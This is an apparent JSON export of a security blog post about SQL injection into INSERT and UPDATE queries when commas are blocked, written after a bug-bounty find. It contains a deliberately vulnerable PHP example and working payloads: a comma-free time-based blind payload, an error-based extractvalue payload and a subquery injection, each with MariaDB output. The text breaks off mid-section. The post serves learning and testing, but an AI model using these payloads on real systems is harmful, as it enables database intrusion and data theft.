{"id":451,"date":"2019-03-31T19:18:52","date_gmt":"2019-03-31T19:18:52","guid":{"rendered":"http:\/\/blog.redforce.io\/?p=451"},"modified":"2024-12-14T15:24:05","modified_gmt":"2024-12-14T15:24:05","slug":"sql-injection-in-insert-update-query-without-comma","status":"publish","type":"post","link":"https:\/\/blog.redforce.io\/sql-injection-in-insert-update-query-without-comma\/","title":{"rendered":"Comma is forbidden! No worries!! Inject in insert\/update queries without it"},"content":{"rendered":"
<\/p>\n
TL;DR<\/h2>\n
This blog post is about the exploitation of one of the interesting SQL injection issues I found during bug hunting. \nThe interesting part was the exploitation, the vulnerable endpoint was using insert query and I wasn’t able to use commas due to the application’s logic. \nAfter some search, I successfully exploited the issue using the following payload<\/p>\n
xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'<\/pre>\n
as a base for my exploit code, reported it and gained 10,000$<\/strong> for that one.<\/p>\n
An unnecessary introduction<\/h2>\n
Injection in the update or insert queries is known since a long time ago. \nAs in\u00a0any SQL injection issue, the problem arises from using unsanitized input before passing it to the SQL query. \nDummy example<\/p>\n
$email=$_POST['email'];\r\n$name=$_POST['name'];\r\n$review=$_POST['review'];\r\n$query=\"insert into reviews(review,email,name) values ('$review','$email','$name')\";\r\nmysql_query($query,$conn);<\/pre>\n
A normal request such as \nreview=test review&email=info@example.com&name=test name<\/code><\/p>\n
will result in the following SQL query<\/p>\n
insert into reviews(review,email,name) values ('test review','info@example.com','test name');<\/code><\/p>\n
Selecting that column will result in<\/p>\n
MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review','info@example.com','test name');\r\nQuery OK, 1 row affected (0.001 sec)\r\n\r\nMariaDB [dummydb]> select * from reviews;\r\n+-------------+------------------+-----------+\r\n| review | email | name |\r\n+-------------+------------------+-----------+\r\n| test review | info@example.com | test name |\r\n+-------------+------------------+-----------+\r\n1 row in set (0.000 sec)<\/pre>\n
So to exploit the issue we have multiple options,<\/p>\n
Exploiting it as an error based injection<\/h4>\n
setting any parameter to<\/p>\n
test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1<\/code><\/p>\n
This will result in a SQL error disclosing the DBname<\/p>\n
MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1','info@example.com','test name');\r\nERROR 1105 (HY000): XPATH syntax error: '\r\ndummydb'<\/pre>\n
Using subqueries<\/h4>\n
In case the SQL errors were being handled we may use subqueries to execute our SQL\u00a0query, write the output into any column and read it later. \nExample: setting the review<\/strong> parameter’s value to \njnk review',(select user()),'dummy name')-- -<\/code><\/p>\n
Will result in making the query looks like<\/p>\n
insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name')-- -,'info@example.com','test name');<\/pre>\n
so the following part<\/p>\n
,'info@example.com','test name');<\/code><\/p>\n
Will be ignored and the Email<\/strong> value will just become the output of the\u00a0(select user())<\/code>query<\/p>\n
MariaDB [dummydb]> insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name');--,'info@example.com','test name');\r\nQuery OK, 1 row affected (0.001 sec)\r\n\r\nMariaDB [dummydb]> select * from reviews;\r\n+-------------+------------------+------------+\r\n| review | email | name |\r\n+-------------+------------------+------------+\r\n| test review | info@example.com | test name |\r\n| jnk review | root@localhost | dummy name |\r\n+-------------+------------------+------------+\r\n2 rows in set (0.000 sec)\r\n\r\nMariaDB [dummydb]><\/pre>\n
Straight forward and so easy.<\/p>\n
Exploitation using blind injection<\/h4>\n
In case there is no error being thrown, being unable to view the data we just inserted or even there were no way to indicate whether if our query resulted in a true or false condition, we can move to the time-based injection, this can be easily done using the following payload<\/p>\n
![\"\"](\"http:\/\/blog.redforce.io\/wp-content\/uploads\/2019\/03\/sql11.png\")
![\"\"](\"http:\/\/blog.redforce.io\/wp-content\/uploads\/2019\/03\/bo4.png\")